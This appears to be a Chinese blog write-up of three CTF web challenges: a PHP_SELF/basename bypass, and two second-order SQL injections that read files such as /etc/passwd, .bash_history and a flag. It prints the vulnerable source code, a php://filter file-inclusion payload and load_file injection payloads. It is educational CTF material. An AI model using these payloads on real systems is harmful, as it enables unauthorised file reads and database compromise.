buuctf16

[Zer0pts2020]Can you guess it?

查看源码:

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>

代码分为两个部分,先说下面吧,让我们比对一个secret,看了一下,根本不可能爆破跑出来的

所以重点应该在上部分,说flag在config.php当中,并且还用了一个正则匹配waf掉config.php,有那种防止我们直接读取的味道,然后下面getsource中,对于我们传入的php_self也是可以直接显示的,所以猜想关键点是绕过这里
几个点学习一下吧:
1.$_SERVER[‘PHP_SELF’]是什么?

$_SERVER['PHP_SELF'] 表示当前 php 文件相对于网站根目录的位置地址,与 document root 相关。
假设我们有如下网址,$_SERVER[‘PHP_SELF’]得到的结果分别为:

http://www.baicai.link/index/ :/index/index.php
http://www.baicai.link/cate/miandan.html :/cate/miandan.html
http://www.baicai.link/php/index.php?test=foo :/php/index.php
http://www.baicai.link/php/index.php/test/foo :/php/index.php/test/foo

所以很明显php_self是我们可控的,接下来看看能否尝试绕过正则匹配
就需要看看basename()有没有什么特性,比如php字符串的规则啥的~
img

在php手册中,我们发现如果路径包含对当前区域设置无效的字符,则basename()的行为未定义。

所以
img
接下来我们来构造一下payload:
我们知道phpself获取的是最后一个/后的内容,我们直接输入

/config.php?source

是不行的——这样变成我们执行的是config.php的内容
所以应该是

/index.php/config.php

此时执行的index.php,获取的是config.php
接下来是绕过正则匹配

/index.php/config.php/我认为?source=

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

查看源码,发现file,可以打开文件,于是想到文件包含,试试伪协议读取文件,发现可以
payload:

?file=php://filter/convert.baase64-encode/resource=index.php
<?php//index.php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
<?php//search.php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<?php//change.php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<?php//confirm.php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>
<?php//delete.php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

审计一下可以发现,本题中没有对address进行过滤,所以需要我们构造语句
真好 phpstorm崩溃了
想到之前sqlilabs刷的二次注入,一开始的change.php中只对address进行了 addslashes处理然后就进行了update处理
所以我的思路是这样的,先存一个address,然后用change插入注入语句,因为插入到表中以后转义的字符时不存在的,取出来也就不存在了,
img
payload:

1' where `user_id`=extractvalue(1,concat('~',(select load_file('/flag.txt'))))#

至于为啥想读文件,因为表里没有–
最后这里看了一下wp,毕竟文件名要猜==

[网鼎杯 2018]Comment

又是一题二次注入
首先是登录
账号是zhangwei 密码是zhagnwei666 后面数字直接爆破就行了
进去以后啥都没有,猜测是存在文件泄露——发现git泄露,扫描一波:

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

思路很明确了。我们需要利用category这个参数来传入值
首先我们利用write传值,然后利用comment改值
传入:

2',content=(select database()),/*

这里解释一下 我们需要用/**/这个注释符,因为从源码中我们可以看出,他是多行的,所以我们需要选择多行注释符
接下来点击详情 输入

*/#

进行闭合 并注释后面的内容
img

可以看到如下

接下来就是常规注入,但是没有发现flag,这里新学了一种思路
我们查看user()发现是root权限
img

既然是root权限,那么大概率其实应该是读取文件~
接下来就是寻找的一个过程了,这里学了一下学长的思路~很牛!
我们查看etc/passwd

img
发现www用户的存在,于是这个时候 我们可以选择继续查看

有时历史记录命令未存储在.bash_history中

bash_history的记录 看看是否有线索:
img
得到较完整路径,并且看到 .DS_Store 的存在
.DS_Store 是系统自动生成的一个隐藏的文件,存贮目录的自定义属性
所以我们可以看看其中的信息

目标环境是docker,所以 .DS_Store 文件应该在 /tmp 中。而 .DS_Store 文件中,经常会有一些不可键字符,所以我们可以使用hex函数对其内容进行转换,payload为:

',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
img 找到flag,最终payload
',content=(select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
Author

vague huang

Posted on

2021-05-22

Updated on

2021-05-25

Licensed under

Comments